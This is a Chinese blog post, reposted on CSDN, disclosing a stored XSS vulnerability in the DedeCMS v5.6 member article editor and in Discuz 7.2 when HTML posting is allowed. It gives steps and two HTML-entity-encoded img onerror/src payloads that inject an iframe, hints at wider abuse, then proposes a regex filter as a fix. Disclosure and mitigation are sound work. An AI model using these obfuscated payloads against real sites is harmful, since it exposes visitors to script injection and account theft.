【原】织梦dedecms v5.6 discuz7.2 xss漏洞

9 篇文章 0 订阅
5 篇文章 0 订阅

2010年07月05日 星期一 23:31

由于某度众所周知的举动,让我搬离写了5年的渣度空间,准备把技术性的文章定在CSDN了。这些都是文章备份。勿怪。。

鉴于最近有些抓取机器和抄袭者,把标题的【原】字都复制,我不得不声明:本文为 yukon12345原创,转载请注明出处http://blog.csdn.net/yukon12345

本想学习下知名cms的安全防范措施的,下了个最新版的dedecms v5.6,不过粗略一看竟然就发现漏洞。


严重程度:严重。提交代码后可轻易进行xss攻击

影响浏览器:IE5,6,7,8,opera 系列,chrome系列。IE9尚未测试。高版本的ff会在iframe时停止载入,但使用其他js代码可以进行攻击。

漏洞出现在会员中心的"发表文章"里。其他地方还没检查,估计也有问题。

在dedecms系统的网站上注册一个号,完了后点击“发布文章”。只要任何人查看文章,就会被执行嵌入的js代码。

在详细内容填写框中选择左上角的源码,复制红色代码(去掉回车写成一行,不然无效)进输入框,
<img src="#" οnerrοr=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;
&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#119;&#114;&#105;&#116;
&#101;&#40;&#39;&#60;&#105;&#102;&#114;&#97;&#109;&#101;&#32;&#115;&#114;
&#99;&#61;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#98;&#97;&#105;&#100;
&#117;&#46;&#99;&#111;&#109;&#32;&#119;&#105;&#100;&#116;&#104;&#61;&#53;
&#48;&#48;&#32;&#104;&#101;&#105;&#103;&#104;&#116;&#61;&#53;&#48;&#48;&#32;
&#47;&#62;&#39;&#41; />


或者(这段仅对IE6有较大影响)
<img src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#100;&#111;&#99;
&#117;&#109;&#101;&#110;&#116;&#46;&#119;&#114;&#105;&#116;&#101;&#40;&#39;&#60;&#105;
&#102;&#114;&#97;&#109;&#101;&#32;&#115;&#114;&#99;&#61;&#104;&#116;&#116;&#112;&#58;
&#47;&#47;&#98;&#97;&#105;&#100;&#117;&#46;&#99;&#111;&#109;&#32;&#119;&#105;&#100;
&#116;&#104;&#61;&#53;&#48;&#48;&#32;&#104;&#101;&#105;&#103;&#104;&#116;&#61;&#53;&#48;
&#48;&#32;&#47;&#62;&#39;&#41;" />


转成字母是 document.write("<iframe src=http://baidu.com width=500 height=500 />")或第二种的
javascript:document.write("<iframe src=http://baidu.com width=500 height=500 />")

提交,转到查看页面,可以发现被嵌入百度的iframe。你想的话可以尽情的写各种js。



能做什么,你懂的。


另外看了下百度的防范做法,因为百度的空间文章编辑器在opera底下也可以方便的提交源码,百度是把有“&#xx”的标签属性直接杀了。比如<img src="">,src属性如果一旦有&#xx编码的字符,整个src就被替换成空。如果是敏感标签就把标签全部给给去了。

预急防范方法:在g过滤函数return之前,添加一条正则

$str="待过滤的字段";
function check($match){
print_r ($match);
return $match[1].$match[3];

} 
$str=preg_replace_callback("/(<\s*[a-zA-Z]+)(\s+.*[&#].*)(\/?>)/","check",$str); 





最后研究了下著名论坛程序discuz,发现同样存在这个xss漏洞。不过它默认是不开放html代码提交和接收的,只支持ubb码。一旦有论坛开放html代码就有和上例同样的漏洞。

所以除非你有百度的魄力,有猫扑的精神(它也接受html代码直接提交,不过偶尔仍然会被xss搞挂.我就遇到过一次利用大小写和jquery库进行的xss。)。
否则还是建议大家不要开放给非管理员用户html代码方式提交内容的权限。因为过滤xss攻击实在是项浩大的工程。

最新消息:youtube和苹果itunes在7月5号也被xss了
http://www.techweb.com.cn/news/2010-07-05/634585.shtml

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值